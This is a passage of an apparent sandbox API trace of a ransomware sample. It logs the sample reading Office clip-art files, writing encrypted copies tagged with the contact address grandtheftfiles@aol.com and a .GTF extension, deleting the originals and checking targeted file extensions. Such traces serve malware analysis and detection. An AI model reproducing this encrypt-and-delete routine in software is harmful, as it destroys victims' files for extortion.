	[0169.274] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x7680, lpOverlapped=0x0) returned 1
	[0169.567] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x7690, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x7690, lpOverlapped=0x0) returned 1
	[0169.568] ReadFile (in: hFile=0x504, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.568] WriteFile (in: hFile=0x528, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0169.568] SetEndOfFile (hFile=0x528) returned 1
	[0169.568] CloseHandle (hObject=0x528) returned 1
	[0169.569] SetFilePointerEx (in: hFile=0x504, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.569] SetEndOfFile (hFile=0x504) returned 1
	[0170.137] CloseHandle (hObject=0x504) returned 1
	[0170.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.196] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 1
	[0170.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.815] lstrlenW (lpString=".doc") returned 4
	[0170.815] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.815] lstrlenW (lpString=".docx") returned 5
	[0170.815] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.815] lstrlenW (lpString=".pdf") returned 4
	[0170.815] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.815] lstrlenW (lpString=".xls") returned 4
	[0170.815] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.815] lstrlenW (lpString=".xlsx") returned 5
	[0170.815] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.815] lstrlenW (lpString=".ppt") returned 4
	[0170.815] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.815] lstrlenW (lpString=".zip") returned 4
	[0170.815] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.815] lstrlenW (lpString=".rar") returned 4
	[0170.815] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.815] lstrlenW (lpString=".bz2") returned 4
	[0170.815] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.815] lstrlenW (lpString=".7z") returned 3
	[0170.815] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.815] lstrlenW (lpString=".dbf") returned 4
	[0170.815] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.815] lstrlenW (lpString=".1cd") returned 4
	[0170.815] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.815] lstrlenW (lpString=".jpg") returned 4
	[0170.815] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.816] lstrlenW (lpString=".doc") returned 4
	[0170.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.816] lstrlenW (lpString=".docx") returned 5
	[0170.816] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0170.816] lstrlenW (lpString=".pdf") returned 4
	[0170.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.816] lstrlenW (lpString=".xls") returned 4
	[0170.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.816] lstrlenW (lpString=".xlsx") returned 5
	[0170.816] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0170.816] lstrlenW (lpString=".ppt") returned 4
	[0170.816] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.816] lstrlenW (lpString=".zip") returned 4
	[0170.816] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.816] lstrlenW (lpString=".rar") returned 4
	[0170.816] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.816] lstrlenW (lpString=".bz2") returned 4
	[0170.816] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.816] lstrlenW (lpString=".7z") returned 3
	[0170.816] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.816] lstrlenW (lpString=".dbf") returned 4
	[0170.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.816] lstrlenW (lpString=".1cd") returned 4
	[0170.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF") returned 68
	[0170.816] lstrlenW (lpString=".jpg") returned 4
	[0170.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.816] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.817] lstrlenW (lpString="J0107514.WMF") returned 12
	[0170.817] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.819] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=12204) returned 1
	[0170.819] CloseHandle (hObject=0x550) returned 1
	[0170.819] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220
	[0170.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0170.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0170.820] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.820] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.821] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x428
	[0170.828] GetLastError () returned 0x0
	[0170.828] ReadFile (in: hFile=0x550, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x2fac, lpOverlapped=0x0) returned 1
	[0170.864] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x2fb0, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x2fb0, lpOverlapped=0x0) returned 1
	[0170.866] ReadFile (in: hFile=0x550, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0170.866] WriteFile (in: hFile=0x428, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0170.866] SetEndOfFile (hFile=0x428) returned 1
	[0170.866] CloseHandle (hObject=0x428) returned 1
	[0170.866] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0170.866] SetEndOfFile (hFile=0x550) returned 1
	[0170.869] CloseHandle (hObject=0x550) returned 1
	[0170.869] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0170.870] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 1
	[0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.871] lstrlenW (lpString=".doc") returned 4
	[0170.871] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.871] lstrlenW (lpString=".docx") returned 5
	[0170.871] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.871] lstrlenW (lpString=".pdf") returned 4
	[0170.871] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.871] lstrlenW (lpString=".xls") returned 4
	[0170.871] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.871] lstrlenW (lpString=".xlsx") returned 5
	[0170.871] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.871] lstrlenW (lpString=".ppt") returned 4
	[0170.871] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.871] lstrlenW (lpString=".zip") returned 4
	[0170.871] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.871] lstrlenW (lpString=".rar") returned 4
	[0170.871] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.871] lstrlenW (lpString=".bz2") returned 4
	[0170.871] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.871] lstrlenW (lpString=".7z") returned 3
	[0170.871] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.871] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.871] lstrlenW (lpString=".dbf") returned 4
	[0170.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.872] lstrlenW (lpString=".1cd") returned 4
	[0170.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.872] lstrlenW (lpString=".jpg") returned 4
	[0170.872] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.872] lstrlenW (lpString=".doc") returned 4
	[0170.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString=".docx") returned 5
	[0170.872] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0170.872] lstrlenW (lpString=".pdf") returned 4
	[0170.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString=".xls") returned 4
	[0170.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0170.872] lstrlenW (lpString=".xlsx") returned 5
	[0170.872] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0170.872] lstrlenW (lpString=".ppt") returned 4
	[0170.872] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.872] lstrlenW (lpString=".zip") returned 4
	[0170.872] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0170.872] lstrlenW (lpString=".rar") returned 4
	[0170.872] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString=".bz2") returned 4
	[0170.872] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString=".7z") returned 3
	[0170.872] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.872] lstrlenW (lpString=".dbf") returned 4
	[0170.872] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.872] lstrlenW (lpString=".1cd") returned 4
	[0170.872] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0170.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF") returned 68
	[0170.873] lstrlenW (lpString=".jpg") returned 4
	[0170.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0170.873] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0170.873] lstrlenW (lpString="J0107526.WMF") returned 12
	[0170.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c
	[0170.943] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=7948) returned 1
	[0170.943] CloseHandle (hObject=0x45c) returned 1
	[0170.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 0x220
	[0170.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0171.409] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.409] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0171.858] GetLastError () returned 0x0
	[0171.858] ReadFile (in: hFile=0x550, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x1f0c, lpOverlapped=0x0) returned 1
	[0171.860] WriteFile (in: hFile=0x570, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x1f10, lpOverlapped=0x0) returned 1
	[0171.861] ReadFile (in: hFile=0x550, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0171.861] WriteFile (in: hFile=0x570, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0171.861] SetEndOfFile (hFile=0x570) returned 1
	[0171.861] CloseHandle (hObject=0x570) returned 1
	[0171.861] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.861] SetEndOfFile (hFile=0x550) returned 1
	[0171.864] CloseHandle (hObject=0x550) returned 1
	[0171.865] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0171.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 1
	[0171.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.867] lstrlenW (lpString=".doc") returned 4
	[0171.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.867] lstrlenW (lpString=".docx") returned 5
	[0171.867] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.867] lstrlenW (lpString=".pdf") returned 4
	[0171.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.867] lstrlenW (lpString=".xls") returned 4
	[0171.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.867] lstrlenW (lpString=".xlsx") returned 5
	[0171.867] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.867] lstrlenW (lpString=".ppt") returned 4
	[0171.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.867] lstrlenW (lpString=".zip") returned 4
	[0171.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.867] lstrlenW (lpString=".rar") returned 4
	[0171.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.867] lstrlenW (lpString=".bz2") returned 4
	[0171.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.867] lstrlenW (lpString=".7z") returned 3
	[0171.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.868] lstrlenW (lpString=".dbf") returned 4
	[0171.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.868] lstrlenW (lpString=".1cd") returned 4
	[0171.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.868] lstrlenW (lpString=".jpg") returned 4
	[0171.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.868] lstrlenW (lpString=".doc") returned 4
	[0171.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0171.868] lstrlenW (lpString=".docx") returned 5
	[0171.868] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0171.868] lstrlenW (lpString=".pdf") returned 4
	[0171.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0171.868] lstrlenW (lpString=".xls") returned 4
	[0171.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0171.868] lstrlenW (lpString=".xlsx") returned 5
	[0171.868] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0171.868] lstrlenW (lpString=".ppt") returned 4
	[0171.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0171.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.868] lstrlenW (lpString=".zip") returned 4
	[0171.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0171.869] lstrlenW (lpString=".rar") returned 4
	[0171.869] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0171.869] lstrlenW (lpString=".bz2") returned 4
	[0171.869] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0171.869] lstrlenW (lpString=".7z") returned 3
	[0171.869] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0171.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.869] lstrlenW (lpString=".dbf") returned 4
	[0171.869] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.869] lstrlenW (lpString=".1cd") returned 4
	[0171.869] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.869] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF") returned 68
	[0171.869] lstrlenW (lpString=".jpg") returned 4
	[0171.869] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.869] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0171.869] lstrlenW (lpString="J0107730.WMF") returned 12
	[0171.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0171.870] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=3060) returned 1
	[0171.870] CloseHandle (hObject=0x550) returned 1
	[0171.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220
	[0171.870] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0171.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550
	[0171.871] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.871] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x570
	[0171.872] GetLastError () returned 0x0
